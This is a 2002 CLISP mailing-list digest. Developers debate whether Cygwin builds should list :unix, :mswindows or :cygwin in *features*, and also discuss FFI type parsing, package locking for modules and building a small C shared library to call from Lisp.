> * On the subject of "Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language)"
> * Sent on Wed, 24 Apr 2002 19:25:47 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> > I was talking about the case when _you_ write something in C _yourself_
> > and want to call that from Lisp.  when you are using a pre-built DLL,
> > there is obviously no C from our side involved.
> 
> Or did you mean something completely different?

yes, that's exactly what I meant.

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Re
 > * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
 >
 > I could think of a few places where having a cygwin feature would be
 > helpful. Currently, my cygwin build has no indication as to what
 > environment it is running in. There are certain pathname translation
 > functions in the cygwin dll that are sometimes usefull. Dan Stanger
Sam writes: what does (software-version) say?

On my machine

[1]> (software-version)

"GNU C 3.0.4"
[2]> (lisp-implementation-type)

"CLISP"
[3]> (lisp-implementation-version)

"2.28 (released 2002-03-03) (built on ME2XZ)"

Please add :cygwin to features.
I do a lot of #+(and excl mswindows) foo #+(and excl unix) bar ....
and would love to do #+(and clisp unix (not cygwin)) foo #+(and clisp unix 
cygwin) bar

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Karsten <vs1100@terra.es> writes:

> Re
>  > * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
>  >
>  > I could think of a few places where having a cygwin feature would be
>  > helpful. Currently, my cygwin build has no indication as to what
>  > environment it is running in. There are certain pathname translation
>  > functions in the cygwin dll that are sometimes usefull. Dan Stanger
> Sam writes: what does (software-version) say?
> 
> On my machine
> 
> [1]> (software-version)
> 
> "GNU C 3.0.4"

Mine gives

"GNU C 2.95.3-5 (cygwin special)"

> Please add :cygwin to features.
> 
> I do a lot of #+(and excl mswindows) foo #+(and excl unix) bar ....
> and would love to do #+(and clisp unix (not cygwin)) foo #+(and clisp unix
> cygwin) bar

I will do this, after the points below have been resolved. I've briefly
mentioned this identification problem to Sam before.

Firstly, if adding :cygwin as a feature, it must be decided about how
:cygwin fits in with the current features. My current build has

(:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER
 :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE
 :BASE-CHAR=CHARACTER :SYSCALLS :DIR-KEY :UNIX)

Adding :cygwin whilst also having :unix could be confusing. Is there a
precedence for having a base OS type and a OS flavour in *features*?

BTW, as you can see from the features, I am currently sorting out dir-key to
work with Clisp. It is more or less working now and I will put it into CVS
soon.

It is possible to add other windows features.

What should the features then include? :unix and :cygwin and :mswindows?
This would break some code which has #+unix foo #+mswindows bar. In general,
the answer would be to add a feature corresponding to the facility added,
much like dir-key, rather than depending on :cygwin or :mswindows.

So, is adding :cygwin to *features* is the right thing?

Peter




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Sam Steingold <sds@gnu.org> writes:

> > * In message <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com>
> > * On the subject of "Re: [clisp-list] Cygwin feature"
> > * Sent on Wed, 24 Apr 2002 09:00:24 -0700
> > * Honorable Randall R Schulz <rrschulz@cris.com> writes:
> >
> > By the way, Dan, I use Cygwin extensively, so the Cygwin version would
> > interest me greatly. I don't doubt the Cygwin principals would accept
> > a CLISP package into the Cygwin contributed software.
> 
> that would be great!
> who volunteers to submit CLISP to them?

I'll have a look at the work necessary to make a proper cygwin package.

There is an issue with differences in NT/2000/XP versus 95/98/Me meaning
different binaries are necessary at the moment.  I think only two binaries,
but maybe the target OS can be detected during startup and have a single
binary that does the right thing.  Ideally, I would prefer cygwin1.dll to
have better support for 95/98/Me, but I think that is low down on Cygwin's
priority list.

Peter




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> * In message <wky9fciyie.fsf@peterb.org.uk>
> * On the subject of "Re: [clisp-list] Cygwin feature"
> * Sent on 24 Apr 2002 22:21:13 +0100
> * Honorable Peter Burwood <clisp@peterb.org.uk> writes:
>
> Karsten <vs1100@terra.es> writes:
> > [1]> (software-version)
> > "GNU C 3.0.4"
> 
> Mine gives
> "GNU C 2.95.3-5 (cygwin special)"

that's what I hoped for.
I get "GNU C 2.96 20000731 (Red Hat Linux 7.1 2.96-98)"
Apparently, gcc 3 has cygwin merged in, so it does not have "cygwin" in
its version (thus this path is broken).

> Adding :cygwin whilst also having :unix could be confusing. Is there a
> precedence for having a base OS type and a OS flavour in *features*?

CMUCL has both :unix and :linux.

CLISP has always claimed that there is no differences between all the
Unixes, but cygwin is different in that it is a compatibility layer,
not an OS.
OTOH, CLISP does not have a feature for EMX (which, IIUC, is a UNIX
compatibility layer for OS/2) - which is irrelevant since OS/2 is dead.
OTOH, CLISP does have a feature for BEOS - which is irrelevant since
BEOS is dead.

> BTW, as you can see from the features, I am currently sorting out
> dir-key to work with Clisp. It is more or less working now and I will
> put it into CVS soon.

cool - will you make it support LDAP too?

> It is possible to add other windows features.
great!

> What should the features then include?
> :unix and
yes - for backward compatibility, if nothing else.

> :cygwin and
yes - because it appears that the users want it...

> :mswindows?
no!  it will break too much user code.

> This would break some code which has #+unix foo #+mswindows bar.
exactly.
having both :unix and :win32 is schizophrenia. :-)

> In general, the answer would be to add a feature corresponding to the
> facility added, much like dir-key, rather than depending on :cygwin or
> :mswindows.

absolutely!  note that we do not want to have too much in the *FEATURES*
since this would clutter it, so it is good that we are discussing this
issue.

> So, is adding :cygwin to *features* is the right thing?

I think since cygwin is both a unix and a win32, we do need to have a
canonical way to detect it.  I just added :CYGWIN.

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Hi,

Sam wrote:
> actually, in this particular case, there is no reason not to call
> PARSE-C-TYPE at macroexpansion time e.g., 
> 
>   (defmacro offset (place offset type &environment env)
>     (setq place (macroexpand place env))
>     (if (foreign-place-p place 'FOREIGN-VALUE)
>       `(FOREIGN-VALUE (%OFFSET ,(second place) ,offset 
> ,(M-PARSE-C-TYPE type)))
>       (err `(offset ,place ,offset ,type))))
> 
>   (defmacro M-PARSE-C-TYPE (type)
>     (if (constantp type) (PARSE-C-TYPE (eval type)) 
> `(PARSE-C-TYPE ,type)))

This folding is a premature optimization IMHO. It works with simple cases (c-array uint8) and may break with others (DEF-C-STRUCT), as then a function object is stored in the signature.

>(ffi::parse-c-type 'regmatch_t)
#(C-STRUCT #(RM_SO RM_EO) #<COMPILED-CLOSURE :LAMBDA> INT INT)

I didn't find enough time to think about the relationship between compilation and load environments, nor the exact nature of this function object. CLISP's ability to output a closure to a .fas file doesn't mean that it's the correct thing to rely on here. Greetings from EQ/EQUALP/UNDECIDABLE-FUNCTION-EQUAL.
Havoc can happen when resurrecting this way (c-struct class #) a closure emanating from ancient compile-times.

CLISP can inline (c-struct LIST #) or (c-struct VECTOR #) safely,
because #<SYSTEM-FUNCTION LIST> (not #'LIST!) is saved
in .fas as #.(SYS::%FIND-SUBR 'common-lisp::list) and will
thus be loaded without duplication.


I believe DEFINE-COMPILER-MACRO is the appropriate idiom for
the discussed optimization, together with LOAD-TIME-VALUE. That's
how I came to recently submit a bug w.r.t. COMPILER-MACRO.

When in the interpreter, evaluating a (DEF-xyz-CALL) or CAST
form, PARSE-C-TYPE needs to be called in any case, so there's
no point in delaying it or calling it early.

My idea was along:
1. simple cases: inline expand (like you do above):
  (C-ARRAY uint8 2) -> '#(C-ARRAY #).
2. more convoluted, yet constant cases:
  (LOAD-TIME-VALUE (PARSE-C-TYPE #))
  helps with (defun ... (cast ...)) example.
3. Maybe special-case `(c-array uintx ,(length foobar)) to
  (VECTOR 'c-array 'uintx (length #)) -- the next most common
  case after constant types, I suppose. That why I recently
  criticized that a backquote expansion is not portably
  defined, unlike Scheme.
4. Other: PARSE-C-TYPE (resp. PARSE-C-FUNCTION) at run-time,
  i.e. refuse optimizing.


(defun foo (x)
  (CAST ... '(C-ARRAY UINT8 2))
In this case, an optimization that works for the interpreter would help it as well as the compiler, as otherwise, PARSE-C-TYPE is called by the interpreter for each invocation of FOO.
LOAD-TIME-VALUE is #'identity for the interpreter.
But for interpretation of DEF-*-CALL (declarative, top-level forms), PARSE-C-TYPE will have to be called anyway, so inlining (constant folding) doesn't help the interpreter.


> Actually, is it possible to extract the calling convention from the
> library (foo.so) itself?  Then all this would be much easier.
It's not. Definitely not. Even having a CORBA IDL wouldn't be enough.


> 3. when the type is non-constant, we should require :LANGUAGE argument
>    anyway, whether by using separate forms or requiring it explicitly,
>    and I prefer the latter.
This area is the one I thought about when I said earlier that CLISP makes no guarantees whatsoever -so far(?)- about what is parsed at what time. So the programmer cannot reliably know when it's needed.

> Another thing is: suppose the library he is interfacing with was
> recompiled with a different calling convention.
Quite unlikely -- Never heard of. The possibility I see is specific to CLISP: turning the module based linux-libc6.lisp into a dynamic library call.

> Then he would have to go over _all_ his code and replace all
> DEF-STDC-STDCALL-CALL-OUT with DEF-STDC-CALL-OUT or modify all his
> :LANGUAGE arguments.
This is a trivial M-x query-replace ... ! or vi /// exercise.
It even works with MS-Windows' pitiful Notepad.

Regards,
	Jorg Hohle.


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Hi,

Sam Steingold wrote:
> 1. telling the users that DEFAULT-FOREIGN-LANGUAGE is for compilation
>    units and should _never_ be used at top-level (except by gurus :-).

Actually, that's possibly the core of the problem.
I was thinking of something along the lines of:
constsym.d
LISPOBJ(foreign_language,":STDC",ffi) # Do Not Touch This or CLISP users may kill you!
-- Or possibly NIL
and reset it to that value for every Lisp session.

Sadly, one cannot say (defconstant *foreign-language* :STDC) and then rebind it.

*FOREIGN-LANGUAGE* and its interaction with PARSE-C-TYPE is still not worked out reliably yet.

>3. when the type is non-constant, we should require :LANGUAGE argument
>   anyway, whether by using separate forms or requiring it explicitly,
>   and I prefer the latter.
How do you detect that "you"'re within non-constant state missing language?
Or in constant-state with :language coming from default?

However, I start to see a shed of light pointing to an end of this dark tunnel...

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> On Wed, Apr 24, 2002 at 11:12:42AM -0400, Sam Steingold wrote:
> > > * In message <20020424163620.B342@localhost.localdomain>
> > > * On the subject of "Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language)"
> > > * Sent on Wed, 24 Apr 2002 16:36:20 +0200
> > > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> > >
> > > On Wed, Apr 24, 2002 at 09:39:39AM -0400, Sam Steingold wrote:
> > > 
> > > > I thought that the DLL FFI will make the current module facility DLL
> > > > based too, i.e., while now modules create their own lisp.run by linking
> > > > lisp.a with their *.o files, the new modules will compile to *.so
> > > > (*.dll) and load them from the lisp code.
> > > 
> > > You don't need this at all with the new FFI.  Why would you want to
> > > compile a monolithic (for example) linux.lisp when you can dynamically
> > > (and selectively) define the foreign functions which you will be
> > > needing.  Why do you need a .so when you can define your functions in
> > > _lisp_?  What on earth do you need to fiddle with a module .so when
> > > you have /libc/libc.so.6?
> > 
> > I was talking about the case when _you_ write something in C _yourself_
> > and want to call that from Lisp.  when you are using a pre-built DLL,
> > there is obviously no C from our side involved.
> 
> Hi
> 
> If you are already writing it in C, then you can just compile it as a
> shared object library and write a lisp-side defun:
> 
> /*hello.c*/
> #include <stdio.h>
> 
> int greet (char *who) {
>   int n;
>   n = printf("Hello, %s!\n", who);
>   return (n);
> }
> /*end*/
> 
> compile:
> 
> bash-2.04$ gcc -fPIC -c hello.c
> bash-2.04$ gcc -shared -Wl,-soname,libhello.so.l -o libhello.so.1.0.1 hello.o -lc
> 
> bash-2.04$ ./lisp.run -q -M lispinit.mem 
> ;; Loading file /home/prw/.clisprc ...
> ;; Loading of file /home/prw/.clisprc is finished.
> [1]> (load #"/home/prw/lisp/Linux/libc.lisp")
> ;; Loading file /home/prw/lisp/Linux/libc.lisp ...
> ;; Loading of file /home/prw/lisp/Linux/libc.lisp is finished.
> T
> [2]> (setf c::*base* (user::foreign-library "/home/prw/libhello.so.1.0.1"))
                        ^^^^

Not to be too picky, but could the FFI stuff bu put into a separate package?

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> Karsten <vs1100@terra.es> writes:
> 
> > Re
> >  > * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
> >  >
> >  > I could think of a few places where having a cygwin feature would be
> >  > helpful. Currently, my cygwin build has no indication as to what
> >  > environment it is running in. There are certain pathname translation
> >  > functions in the cygwin dll that are sometimes usefull. Dan Stanger
> > Sam writes: what does (software-version) say?
> > 
> > On my machine
> > 
> > [1]> (software-version)
> > 
> > "GNU C 3.0.4"
> 
> Mine gives
> 
> "GNU C 2.95.3-5 (cygwin special)"
> 
> > Please add :cygwin to features.
> > 
> > I do a lot of #+(and excl mswindows) foo #+(and excl unix) bar ....
> > and would love to do #+(and clisp unix (not cygwin)) foo #+(and clisp unix
> > cygwin) bar
> 
> I will do this, after the points below have been resolved. I've briefly
> mentioned this identification problem to Sam before.
> 
> Firstly, if adding :cygwin as a feature, it must be decided about how
> :cygwin fits in with the current features. My current build has
> 
> (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER
>  :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE
>  :BASE-CHAR=CHARACTER :SYSCALLS :DIR-KEY :UNIX)
> 
> Adding :cygwin whilst also having :unix could be confusing. Is there a
> precedence for having a base OS type and a OS flavour in *features*?
> 
> BTW, as you can see from the features, I am currently sorting out dir-key to
> work with Clisp. It is more or less working now and I will put it into CVS
> soon.
> 
> It is possible to add other windows features.
> 
> What should the features then include? :unix and :cygwin and :mswindows?
> This would break some code which has #+unix foo #+mswindows bar. In general,
> the answer would be to add a feature corresponding to the facility added,
> much like dir-key, rather than depending on :cygwin or :mswindows.
> 
> So, is adding :cygwin to *features* is the right thing?

Having both :mswindows and :unix is wrong *and* it *will* break some
code I wrote (and other people's as well).  I urge not to do such
thing.  As far as I am concerned the correct combination is

    (and :cygwin :mswindows (not :unix))

Cygwin is a layer on top of MS Windows.  This is what it is.  The host
operating system is MS Windows.

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Marco's idea here seems ok with me, but the (not :unix) seems redundant.  unix and
mswindows
seems mutually exclusive.  However, unix is in the features list in the cygwin
build, and gnu
configure scripts treat cygwin as a version of unix.  Maybe we should vote on it.
Dan Stanger

Marco Antoniotti wrote:

   (and :cygwin :mswindows (not :unix))

>
> Cygwin is a layer on top of MS Windows.  This is what it is.  The host
> operating system is MS Windows.
>
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Hi,
On Thu, Apr 25, 2002 at 09:36:29AM -0400, Marco Antoniotti wrote:

> > [2]> (setf c::*base* (user::foreign-library "/home/prw/libhello.so.1.0.1"))
>                         ^^^^
> 
> Not to be too picky, but could the FFI stuff bu put into a separate package?

My understanding is that some things got placed in "USER" because some
aspects of module support are broken.  (I don't know if it's fixed
yet)

Specifically, there were problems with package locking, and
initialisation of modules.

I believe they will go in "FFI" when things settle down a bit.

Regards,
Peter


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Marco Antoniotti wrote:
> Having both :mswindows and :unix is wrong *and* it *will* break some

Nobody said that these two should be set(?). Of course it's wrong.

> Cygwin is a layer on top of MS Windows.  This is what it is.  The host
> operating system is MS Windows.

I beg to differ! An application compiled via cygwin has next to no means to detect that it is not running as a UNIX. Therefore the correct *feature is :UNIX, as it has been in the past.

Such an application uses /foo/bar UNIX pathnames, the UNIX API for all sorts of things, probably dl_open() etc. It probably has problems interacting with MS-Windows native applications (e.g. try to call notepad.exe on the pathname /foo/bar.txt)

CLISP compiled with cygwin probably has all the #+UNIX things in, e.g. POSIX extensions. It can possibly even load linux.lisp. It can support /bin/sh exec pgm or (shell "foo &") interfaces etc. pp. It's a UNIX for as far as the emulation goes.

It is a #+UNIX as far as any Lisp programmer expecting UNIX behaviour and extensions goes.

There are probably caveats when attempting to use kernel32.dll directly or other MS-Windows .dll from within a cygwin framework.


Not to be too picky, could you please refrain from replying three lines
while quoting >50?

	Jorg Hohle.
FWIW, ixemul.library is the cygwin equivalent for AmigaOS. Had we used that, the Amiga port of CLISP would identify as #+UNIX as well. No #+AMIGA would exist. ksh, configure, ptrace(), mkfifo(), vfork() exec*(). They are all there. But it doesn't interact with native Amiga applications and libraries well, for the same reasons as above.


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Peter,

> My understanding is that some things got placed in "USER" because some
> aspects of module support are broken. 
> Specifically, there were problems with package locking, and
> initialisation of modules.
Thanks for the excellent summary.
1. package-locking
2. package existance.

I jump in to beg for ideas:

1) Maybe package-locking can be deferred until after modules are loaded?

I consider the impossibility to add new functions in low-level module code (programmer level) because of package-locks (a user-level protection) an unacceptable show-stopper. SYS, FFI or EXT are IMHO the right places for small extensions. Predumping an image with additional packages defined, then run lisp.exe|run is too much overhead on users.


Easy to fix would be:
For LISPFUN only: package is known, unlock it as needed. Don't remember lock state, package will remain unlocked (probably useful for additional Lisp code which will define even more functions).

That doesn't help for DEF-C-CALL-OUT or DEF-CALL-IN (doesn't define LISPFUN, i.e. the module_subr_tab[], only objects/symbols, module_obect_tab[]).

It helps for typical hand-written modules with functions and objects. Since the functions are defined first, the package is unlocked, so later objects can be read/added.

That is, it would help
 o dynload.d
 o ffimext.d
but not linux.lisp
A "works for me" patch :-(


2) maybe a missing package should be created empty?
  Again, only posible for LISPFUN things.
I wonder why this was not implemented back then. It would have been trivial to do, so I suspect good reasons (despite what Napoleon said). Maybe it would break Lisp code which does:
(unless (find-package "LDAP")
  ;; packge is not known, load and init Lisp-level stuff
  (make-package "LDAP" :use #)
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  ...)
which was quite common before DEFPACKAGE was common.

Any ideas?
	Jorg Hohle.


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Hi,
On Thu, Apr 25, 2002 at 05:17:45PM +0200, Hoehle, Joerg-Cyril wrote:

> I consider the impossibility to add new functions in low-level
> module code (programmer level) because of package-locks (a
> user-level protection) an unacceptable show-stopper. SYS, FFI or EXT
> are IMHO the right places for small extensions. Predumping an image
> with additional packages defined, then run lisp.exe|run is too much
> overhead on users.

clisp-link has a variable TO_PRELOAD which works around the problem by
automatically dumping the image with the necessary packages defined
(You set TO_PRELOAD to the name of a file which defines the packages).

This is poorly/inaccurately documented in the impnotes, and I sent Sam
a patch which improves the docs slightly, but the online impnotes has
not been regenerated yet.

I "discovered" TO_PRELOAD after your post that you remembered "a
workaround" which required the user to first dump an image with the
packages defined.  I had read and reread the ffi section of impnotes
_many_ times, without realising that TO_PRELOAD was what I was looking
for.  (Mainly because it is inaccurately and misleadingly documented)

I wouldn't worry about fixing _this_ aspect of the bug properly.  It
has been in Clisp for many years, apparently without anyone the wiser.

> 
> Easy to fix would be:
> For LISPFUN only: package is known, unlock it as needed. Don't remember lock state, package will remain unlocked (probably useful for additional Lisp code which will define even more functions).
> 
> That doesn't help for DEF-C-CALL-OUT or DEF-CALL-IN (doesn't define LISPFUN, i.e. the module_subr_tab[], only objects/symbols, module_obect_tab[]).
> 
> It helps for typical hand-written modules with functions and objects. Since the functions are defined first, the package is unlocked, so later objects can be read/added.
> 
> That is, it would help
>  o dynload.d
>  o ffimext.d
> but not linux.lisp
> A "works for me" patch :-(

A "works for me" patch is fine.  Anyway, it will help anyone who
writes or wants to write modules by hand.  I hope to get around to
hand-written modules real soon now (TM) :-)

> 
> 
> 2) maybe a missing package should be created empty?
>   Again, only posible for LISPFUN things.
> I wonder why this was not implemented back then. It would have been trivial to do, so I suspect good reasons (despite what Napoleon said). Maybe it would break Lisp code which does:
> (unless (find-package "LDAP")
>   ;; packge is not known, load and init Lisp-level stuff
>   (make-package "LDAP" :use #)
>   (load #)
>   ...)
> which was quite common before DEFPACKAGE was common.
> 
> Any ideas?

I have been wondering why missing packages aren't just created.

I have to ask: What did Napoleon say???

Regards,
Peter


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> * In message <DFD875E85664D3118FA6080006277DE705822780@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] module support (was: DEF-LIB-CALL-OUT and dynamic FFI & library b y name)"
> * Sent on Thu, 25 Apr 2002 17:17:45 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> 1) Maybe package-locking can be deferred until after modules are loaded?
> 
> I consider the impossibility to add new functions in low-level module
> code (programmer level) because of package-locks (a user-level
> protection) an unacceptable show-stopper.

this is a non-existent problem.
At the LISP level you have WITHOUT-PACKAGE-LOCK.
At the C level you can lock and unlock packages as easily (see package.d
for examples.)

Just do the right thing and you should be safe.

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> Marco's idea here seems ok with me, but the (not :unix) seems
> redundant.  unix and  mswindows
> seems mutually exclusive.  However, unix is in the features list in
> the cygwin build, and gnu configure scripts treat cygwin as a
> version of unix.  Maybe we should vote on it.

I strongly, strongly disagree.  It does not make sense.  The fact that
something in the "a build" does not mean that it makes sense.

I have code that assumes (rightly so) that MS Windows is not Unix and
that discriminates on the features list.

Please do not mess things up.

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> From: "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com>
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> Marco Antoniotti wrote:
> > Having both :mswindows and :unix is wrong *and* it *will* break some
> 
> Nobody said that these two should be set(?). Of course it's wrong.
> 
> > Cygwin is a layer on top of MS Windows.  This is what it is.  The host
> > operating system is MS Windows.
> 
> I beg to differ! An application compiled via cygwin has next to no
> means to detect that it is not running as a UNIX. Therefore the
> correct *feature is :UNIX, as it has been in the past.

No it is not.  Cygwin is essentially a library on top of an Operating
System: MS Windows.  You may object that this is an ontological
argument, but that it is the way things are.

Had I started to use a cygwin version of CLisp before, I would have
complained before.

> Such an application uses /foo/bar UNIX pathnames, the UNIX API for
> all sorts of things, probably dl_open() etc. It probably has
> problems interacting with MS-Windows native applications (e.g. try
> to call notepad.exe on the pathname /foo/bar.txt)

On both LW (and, I believe ACL) under Windows you can use Unix style
pathnames, the same goes for Emacs.  However, neither LW nor ACL have
UNIX in their features list.

> CLISP compiled with cygwin probably has all the #+UNIX things in,
> e.g. POSIX extensions. It can possibly even load linux.lisp. It can
> support /bin/sh exec pgm or (shell "foo &") interfaces etc. pp. It's
> a UNIX for as far as the emulation goes.

Yes, but it runs under MS Windows.

> It is a #+UNIX as far as any Lisp programmer expecting UNIX
> behaviour and extensions goes.

I do not expect UNIX behavior when running under Windows.  I expect to
be able to write

   #+unix (do-something)
   #+mswindows (do-something-else)

Soppose there is code out there (as there surely is) that assumes that
the effect of DO-SOMETHING and DO-SOMETHING-ELSE are totally
different, mutually exclusive and truly OS dependent.  How do you
propose to make a program work under the conditions of not being able
to discriminate what OS you arte truly working on?

> There are probably caveats when attempting to use kernel32.dll
> directly or other MS-Windows .dll from within a cygwin framework.

That is another problem altogether.

> Not to be too picky, could you please refrain from replying three lines
> while quoting >50?

Sorry :}


> 	Jorg Hohle.
> FWIW, ixemul.library is the cygwin equivalent for AmigaOS. Had we
> used that, the Amiga port of CLISP would identify as #+UNIX as
> well. No #+AMIGA would exist. ksh, configure, ptrace(), mkfifo(),
> vfork() exec*(). They are all there. But it doesn't interact with
> native Amiga applications and libraries well, for the same reasons
> as above.

I maintain that that is wrong as well.  Assuming that "UNIX" means
something beyond the string of four characters, the implementation is
essentially lying to the programmer.

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Date: Thu Apr 25 12:33:57 2002
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Hi,
On Thu, Apr 25, 2002 at 01:46:36PM -0400, Sam Steingold wrote:
> > * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
> > I consider the impossibility to add new functions in low-level module
> > code (programmer level) because of package-locks (a user-level
> > protection) an unacceptable show-stopper.
> 
> this is a non-existent problem.
> At the LISP level you have WITHOUT-PACKAGE-LOCK.
> At the C level you can lock and unlock packages as easily (see package.d
> for examples.)
> 

OK. Now I'm confused.  With a recent CVS, I was trying to test how to
use mark_pack_unlocked, and as a first step recompiled dynload.d and
ffimext.d with the original:

#define ffi  "USER" /*"CL-USER*/

changed to #define ffi "FFI"

In an attempt to recreate the problem, so I could experiment with
using mark_pack_unlocked.  But it all compiles fine, with no
complaints about locked packages!!!! And with
#'foreign-address-function, etc in "FFI".

What the fuck is going on?

> Just do the right thing and you should be safe.

Yeah! Now why couldn't _I_ have thought of that?

> As a computer, I find your faith in technology amusing.

War is a bug.  Where can I report it?  

:-/

Regards,
Peter


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The goal of the cygwin project IS to lie to the user or developer.
Thats why it exists.
Dan Stanger


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dan.stanger@ieee.org writes:
 > The goal of the cygwin project IS to lie to the user or developer.
 > Thats why it exists.

The goal of Cygwin is to provide a POSIX-compatibility layer on top of
Windows.  In a great many ways the system still looks like windows,
but if you limit yourself strictly to POSIX, you're (theoretically)
fine.  I'd think it would be appropriate to have a :posix feature for
cygwin, but now :unix.  It seems like a :unix feature will cause more
problems than it would solve, and if a piece of software is
conditionalized such that it *can* work with #+(and unix mswindows),
then the person porting it to CLISP/Cygwin can just do:

  (let ((*features* #+cygwin (cons :unix *features)
                    #-cygwin *features*))
    (load-system))

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Date: Thu Apr 25 13:37:04 2002
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Hi,

I've been following this, and although I'd say it's not at all obvious what 
to do, I lean towards _not_ enabling the :mswindows feature for the 
Cygwin-hosted version of CLISP. For any practical purpose, the fact that 
there's Windows "down below" is neither apparent nor meaningfully accessible.

Cygwin does accept both kinds of path names, it's true, but first and 
foremost it is a POSIX emulation environment. To a first, and very good 
approximation, Cygwin is a Unix-like environment, not Windows.

Perhaps the entire feature scheme needs to be rethought in face of 
emulation environments like Cygwin and Wine?

Randall Schulz
Mountain View, CA USA


At 12:44 2002-04-25, dan.stanger@ieee.org wrote:
>The goal of the cygwin project IS to lie to the user or developer.
>Thats why it exists.
>Dan Stanger



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> * In message <20020425210130.A285@localhost.localdomain>
> * On the subject of "Re: [clisp-list] module support (was: DEF-LIB-CALL-OUT and dynamic FFI & library b y name)"
> * Sent on Thu, 25 Apr 2002 21:01:30 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> > this is a non-existent problem.
> > At the LISP level you have WITHOUT-PACKAGE-LOCK.
> > At the C level you can lock and unlock packages as easily (see package.d
> > for examples.)
> 
> OK. Now I'm confused.  With a recent CVS, I was trying to test how to
> use mark_pack_unlocked, and as a first step recompiled dynload.d and
> ffimext.d with the original:
> 
> #define ffi  "USER" /*"CL-USER*/
> 
> changed to #define ffi "FFI"
> 
> In an attempt to recreate the problem, so I could experiment with
> using mark_pack_unlocked.  But it all compiles fine, with no
> complaints about locked packages!!!! And with
> #'foreign-address-function, etc in "FFI".
> 
> What the fuck is going on?

I am afraid I do not understand either what you are doing nor what you
are trying to accomplish.


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On Thu, Apr 25, 2002 at 04:43:41PM -0400, Sam Steingold wrote:

> > In an attempt to recreate the problem, so I could experiment with
> > using mark_pack_unlocked.  But it all compiles fine, with no
> > complaints about locked packages!!!! And with
> > #'foreign-address-function, etc in "FFI".
> > 
> > What the fuck is going on?
> 
> I am afraid I do not understand either what you are doing nor what you
> are trying to accomplish.
> 

I am tempted to just say, forget it!  Instead, if you can be bothered
to read it, here's an executive summary, with references:

1) When building external modules with clisp-link, with a def-call-in,
Clisp segfaulted and reported bizarre things about terminal streams.

2) It turned out this was a result of (a combination)
   1) Not using TO_PRELOAD to predefine needed packages
   2) Early initialisation error

see: http://www.geocrawler.com/lists/3/SourceForge/1124/225/8282050/

3) Joerg reported a problem about packages being locked, at the same
time as he posted dynload.d to the list

see: http://www.geocrawler.com/lists/3/SourceForge/1124/200/8302221/

You can't see the attachments on geocrawler, but if you have dynload.d
or the later ffimext.d, you will see that there is a comment to the
effect that module support is broken, due to locking, and that is why
'#define ffi "USER"' was done.

*I assumed that this was correct.*

When you (Sam) wrote that this was a non-existent problem 

see: http://www.geocrawler.com/lists/3/SourceForge/1124/0/8496506/

I decided to reconstruct the problem by changing '#define ffi "USER"'
to '#define ffi "FFI"'.  I believed that when I recompiled after this
change, that I would get an error about locked packages. I didn't.
Therefore my confusion.

Joerg, is there really a problem with package locking?  If not, why is
ffi defined to "USER" in dynload.d?

Sam, please don't cc to me.  I am on the list, and get all mail sent
to the list.  It's annoying getting duplicates.

Regards,
Peter


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Marco Antoniotti
> I strongly, strongly disagree.  It does not make sense.  The fact that
> something in the "a build" does not mean that it makes sense.
It's not just in the build. It's a sophisticated emulator.

Somebody once told me he once tried this out: On his Amiga, run the Atari Emulator. In the Atari emulator, run the Macintosch emulator. (Maybe in the Macintoch emulator, run the Commodore 64 emulator). It all worked.

Now suppose he'd be running MCL inside the Mac emulator. Do you expect the application to detect the Amiga? No, of course not.
All MCL sees is a Macintosh.


Back to cygwin. I believe there could be some misunderstanding about what cygwin is.
It's a sophisticated emulator.
It's not just a link library which e.g. provides UNIX-like read+write() C API for MS-DOS. If it were just that, the term "in the build" would apply.

IMHO, cygwin provides you with a lot of UNIX without the need to reboot from another partition. It's still an emulator. Applications therein expect UNIX/POSIX behaviour and semantics.

CYGWIN-CLISP doesn't even understand MS-DOS pathnames.

Could you image a programmer on some foreign Lisp system (ACL, LW, Corman) running on MS-Windows write an application with #+WIN32 in mind, whom CLISP people would have to tell
"#+WIN32 "C:\\foo\\bar" is not portable"?
"Because cygwin claims WIN32 but doesn't even understand native pathnames?"? That's a bad joke, isn't it?

:UNIX must be there for cygwin, :WIN32 must not.

Regards,
	Jorg Hohle


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Date: Fri Apr 26 00:53:06 2002
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While we're at it:

:PC386 is not in the *features* list of my build (MS-VC):

(:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER
 :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE
 :BASE-CHAR=CHARACTER :SYSCALLS :DIR-KEY :WIN32)

According to impnotes, it should: "if hardware = PC (clone) with a 386/486/586/686 CPU".

BTW, I just went to cliki and added a little about CLISP's *features* list.
http://ww.telent.net/cliki/Features

is #define WIN32 => #define PC386 ok for now?
How to detect a WIN32 not on Intel? Is there CLISP for MS-Windows on alpha??

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	Jorg Hohle


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Von: Dan Stanger wrote:
> I have put a new tgz of my gdi module on my web site
> www.diac.com/~dxs/gdi.tar.gz
> It contains a working hello world program.  I would appreciate any
> comments on it.

I managed to compile and link it using MS-VC as well (Dan uses cygwin), with minor patches - sent privately.

I don't know what to do with GDI, but I got a HUGE "hello world!" painted across my screen :-)

Excellent work-in-progress!

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	Jorg Hohle.


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Peter,

> I have to ask: What did Napoleon say???
approximately "N'attribuez pas a la malice ce qui peut etre explique par l'incompetence." -- don't believe wisdom is involved when a simpler explanation may be incompetence or ignorance.


